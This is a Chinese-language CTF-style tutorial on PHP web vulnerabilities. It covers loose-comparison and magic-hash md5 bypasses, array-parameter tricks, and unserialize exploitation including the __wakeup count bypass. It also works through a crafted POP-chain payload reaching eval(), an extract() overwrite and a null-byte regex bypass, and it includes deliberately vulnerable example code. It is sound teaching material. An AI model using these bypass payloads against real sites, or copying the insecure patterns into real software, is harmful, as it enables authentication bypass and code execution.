弱类型比较漏洞
弱类型比较漏洞是 PHP 语言特有的逻辑漏洞,根源在于 弱等于运算符(==) 的特性:比较时不严格校验数据类型,会先自动将两侧数据转换为相同类型,再进行值比较,最终导致预期外的 “相等” 结果,可能被攻击者利用绕过认证、权限校验等关键逻辑。
原理介绍
字符串 vs 数字比较
- 转换规则:PHP 会将字符串强制转换为数字,转换逻辑为:取字符串开头的数字部分(若开头非数字则转换为 0),忽略后续非数字字符。
1
2
3
4
5
|
'12' == 12; // true(字符串"12"转数字12,值相等)
'12abc' == 12; // true(仅取开头数字12,忽略"abc")
'adm2n' == 0; // true(字符串开头非数字,转换为0)
'0123' == 123; // true(前导0不影响数字转换结果)
'abc123' == 0; // true(开头无数字,转0)
|
布尔值 vs 其他值比较
- 转换规则:布尔值
true与任意非 0 值(含非空字符串、非 0 数字)相等;布尔值false仅与 0、空字符串等 “空值” 相等。
1
2
3
4
5
6
|
'way' == true; // true(非空字符串转布尔值true)
'false' == true; // true(字符串"false"非空,转true)
234 == true; // true(非0数字转true)
0 == false; // true(0转false)
'' == false; // true(空字符串转false)
'0' == false; // true(字符串"0"转数字0,再转false)
|
重点:哈希值 vs 字符串 “0” 比较
- 转换规则:若哈希值(如 md5、sha1 结果)以
0e开头,且后续字符全为数字,PHP 会将其当作 科学计数法(0 的任意次幂 = 0) 处理,与字符串 “0” 或数字 0 比较时结果为 true。
1
2
3
4
5
|
$str1 = '240610708'; // md5($str1) = '0e420233178946742799316739797882'
md5($str1) == '0'; // true(哈希值以0e开头,按科学计数法解析为0)
$str2 = 'QNKCDZO'; // md5($str2) = '0e830400451993494058024219903391'
md5($str2) == 0; // true(同理,解析为0)
|
- md5加密数组输出为NULL
1
2
3
4
5
6
7
8
9
10
11
|
<?php
if(isset($_GET['username']) && isset($_GET['password']) ){
if($_GET['username' ] == $_GET['password']){
echo 'false';
}else if(md5($_GET['username']) === md5($_GET['password'])){
echo 'flag is xxxxx' ;
}else{
echo 'nonono';
}
}
?>
|
想要得到flag就必须传入参数使得username和password都是数组,这样可以使他们本身不弱相等的情况下MD5值又强相等(因为没有值)。
传参:?username[]=1&password[]=2
利用方法
- 登录认证绕过:若后台用
$_POST['password'] == $correct_pwd校验,可构造password=12绕过$correct_pwd="12abc"的校验。
- 哈希校验绕过:若用
md5($input) == $admin_md5验证,可输入240610708(其 md5 以 0e 开头),绕过$admin_md5="0"的校验。
- 权限逻辑绕过:若用
$role == 1(1 为管理员角色),可输入role=1abc,因转换为 1 导致权限提升。
序列化与反序列化
前置知识:php的面向对象
语法示例:类和对象的定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
class People{ //定义类
//成员变量
public $name;
public $age;
public $job;
//成员方法
function speak(){
echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>'; //$this可类比python中的self,旨在访问当前类中的变量
}
}
$c1 = new People(); //初始化对象
$c1->name = '小明';
$c1->age = 18;
$c1->job = '学生';
$c1->speak();
?>
|
魔术方法
- 构造函数
__construct()
它在调用这个类初始化了一个对象时会自动执行。
1
2
3
|
function __construct(){
echo '我被创造出来了</br>';
}
|
- 析构函数
__destruct()
当这个类没用了会被内存销毁,同时执行
1
2
3
|
function __destruct(){
echo '我死了</br>';
}
|
- 不知道叫什么
__wakeup()
该函数会在反序列化时触发
1
2
3
|
function __wkaeup(){
echo '我回来了,孩子们。';
}
|
- 其他方法
__toString 反序列化的时候对象被输出在模板的时候调用
__call 调用不存在的方法的时候调用
__invoke 把一个对象当作函数使用的时候调用
关于面向对象的补充
既然有公有的(public)成员变量,那么是否有私有的呢🤔?有的兄弟,有的。
我们这里把age变量改为私有(private,不可继承)或保护(protected,可继承)或并预设一个量。
此时就不能在初始化对象时重新设置它的年龄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
class People{ //定义类
//成员变量
public $name;
protected $age = 20;
private $job;
//成员方法
function speak(){
echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>'; //$this可类比python中的self,旨在访问当前类中的变量
}
}
$c1 = new People(); //初始化对象
$c1->name = '小明';
$c1->job = '学生';
$c1->speak();
?>
|
除非我们在类中定义一个成员方法(function) 专门用来修改这个私有变量,
1
2
3
|
function setAge($age){ //函数名字不固定,重要的是括号里的参数
$this->age = $age;
}
|
在初始化对象时调用这个方法即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
class People{ //定义类
//成员变量
public $name;
protected $age = 20;
private $job = '学生';
//成员方法
function speak(){
echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>'; //$this可类比python中的self,旨在访问当前类中的变量
}
function setAge($age){ //函数名字不固定,重要的是括号里的参数
$this->age = $age;
}
}
$c1 = new People(); //初始化对象
$c1->name = '小明';
$c1->setAge(16);
echo serialize($c1);
$c1->speak();
?>
|
序列化
上面我们创造了c1这个人对象,但是如果想要发送这个对象不能只依赖复制粘贴,必须使用一种更高效的方法,相当于把复杂的数据压缩为连续的字符串而不丢失信息,这就是序列化。
1
2
3
|
$c1_zip = serialize($c1)
//输出:O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:6:"学生";}
//Object名people(6个字):(含3个变量){string类型,4个字,变量名name}。。。。以此类推
|
现在我们可以将这串序列化后的字符串传输到其他地方,当需要还原的时候就使用反序列化。
那么如果是非公有的变量被序列化之后呢?以上上方代码块中的形式为例
1
|
O:6:"People":3:{s:4:"name";s:6:"小明";s:6:"*age";i:16;s:11:"Peoplejob";s:6:"学生";}
|
可以看到两个非公有的变量其字数和数字标的对不上(例如*age标为6个字),这是因为有内容被屏蔽了,我们来补全它
1
2
|
O:6:"People":3:{s:4:"name";s:6:"小明";s:6:"%00*%00age";i:16;s:11:"%00People%00job";s:6:"学生";}
实际上就是*的前后各一个%00,然后类+变量的形式在类的前后各一个%00
|
而%00作为截断符算1个字,这样是不是就对上了。
%00无法被肉眼观测,也无法复制粘贴,所以我们要用base64的方法来传输:
1
2
|
echo base64_encode(serialize($c1));
//输出:Tzo2OiJQZW9wbGUiOjM6e3M6NDoibmFtZSI7czo2OiLlsI/mmI4iO3M6NjoiACoAYWdlIjtpOjE2O3M6MTE6IgBQZW9wbGUAam9iIjtzOjY6IuWtpueUnyI7fQ==
|
反序列化
可以看到,仅仅使用了这串字符串就还原了对象的所有变量,你也可以把它字面类比为人设。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
class People{ //定义类
//成员变量
public $name;
public $age;
public $job;
//成员方法
function speak(){
echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>'; //$this可类比python中的self,旨在访问当前类中的变量
}
function __wakeup(){
echo '反序列化程序启动</br>';
echo '调用防火墙审核</br>';
}
function __destruct(){
echo '我死了</br>';
}
}
$c2_zip = 'O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:6:"学生";}';
$c2 = unserialize($c2_zip);
$c2->speak();
?>
|
如果我们接受到的是base64加密过的序列就给它套一层解码就行了
1
2
|
$c2_zip = 'Tzo2OiJQZW9wbGUiOjM6e3M6NDoibmFtZSI7czo2OiLlsI/mmI4iO3M6NjoiACoAYWdlIjtpOjE2O3M6MTE6IgBQZW9wbGUAam9iIjtzOjY6IuWtpueUnyI7fQ==';
$c2 = unserialize(base64_decode($c2_zip));
|
漏洞利用
如果要利用反序列化的漏洞,那么一般是这样的情景:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
class People{ //定义类
//成员变量
public $name;
public $age;
public $job;
//成员方法
function speak(){
echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>'; //$this可类比python中的self,旨在访问当前类中的变量
}
function __wakeup(){
echo '反序列化程序启动</br>';
echo '调用防火墙审核</br>';
}
}
$c2_zip = $_GET['man'];
$c2 = unserialize($c2_zip);
$c2->speak();
?>
|
我们只要在浏览器里给man传参即可,而且显然我们也可以对手上的序列进行一些修改,以输入自己想要的数据。比如我们把学生改为’teacher’,同时把字数改为7(原本一个汉字算三个字)。
1
|
O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:7:"teacher";}
|
但是这样并不能突破__wakeup()函数,很可能被防火墙拦截。
解决方案:把变量数+1,即:
1
|
O:6:"People":4:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:7:"teacher";}
|
小练习
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?php
class Aurora{
public $test;
public $Aurora = "i am aurora";
function __construct(){
$this->test=new L();
}
function __destruct(){
$this->test->action();
}
}
class L{
function action(){
echo "i am L--action";
}
}
class Evil{
var $test2;
function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
|
解题方法: 把源代码复制到实验区域,初始化一个对象,修改代码中预设变量值为自己想要实现的效果,加上序列化函数,查看序列化结果,如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php
class Aurora{
public $test;
public $Aurora = "i am aurora";
function __construct(){
$this->test=new Evil();
// ^~~~~~~~此处修改
}
function __destruct(){
$this->test->action();
}
}
class L{
function action(){
echo "i am L--action";
}
}
class Evil{
var $test2='phpinfo();';
// ^~~~~~~~此处修改
function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
$a = new Aurora(); //初始化变量
echo serialize($a); //导出序列化结果
?>
序列化结果:O:6:"Aurora":2:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}s:6:"Aurora";s:11:"i am aurora";}
|
将序列化结果传入即可。
其他漏洞
extract()的作用是把get进来的东西分离为变量名和变量值,例如:
1
2
|
extract($_GET);
echo $test;
|
如果我传入?test=hello那么在程序看来就是$test='hello'
例题
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
extract($_GET);
if(isset($aurora)){
//加载$flag变量代表的文件
$content = trim(file_get_contents($flag)); //打开当前目录下的文件
if($aurora == $content){
echo 'flag{xxxxx}';
}else{
echo "nonono";
}
}
?>
|
传参:?content=&aurora=
正则表达式和strpos()
- 正则表达式遇到
%00时会停止匹配,但strpos()不停
- 当数组遇到
strpos()时输出NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
if(isset($_GET['password']) ){
//输入的内容一定要不能乱来,只有字符串数字
if(ereg("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE){
echo 'no1';
}else if(strpos($_GET['password'],' -- ') !== FALSE){ //查找'--'在password中第一次出现的位置
//你输入的内容得要有 --
echo 'flag is xxxxxxx';
}else{
echo 'no2';
}
}
?>
|
传参:?password[]=123%00--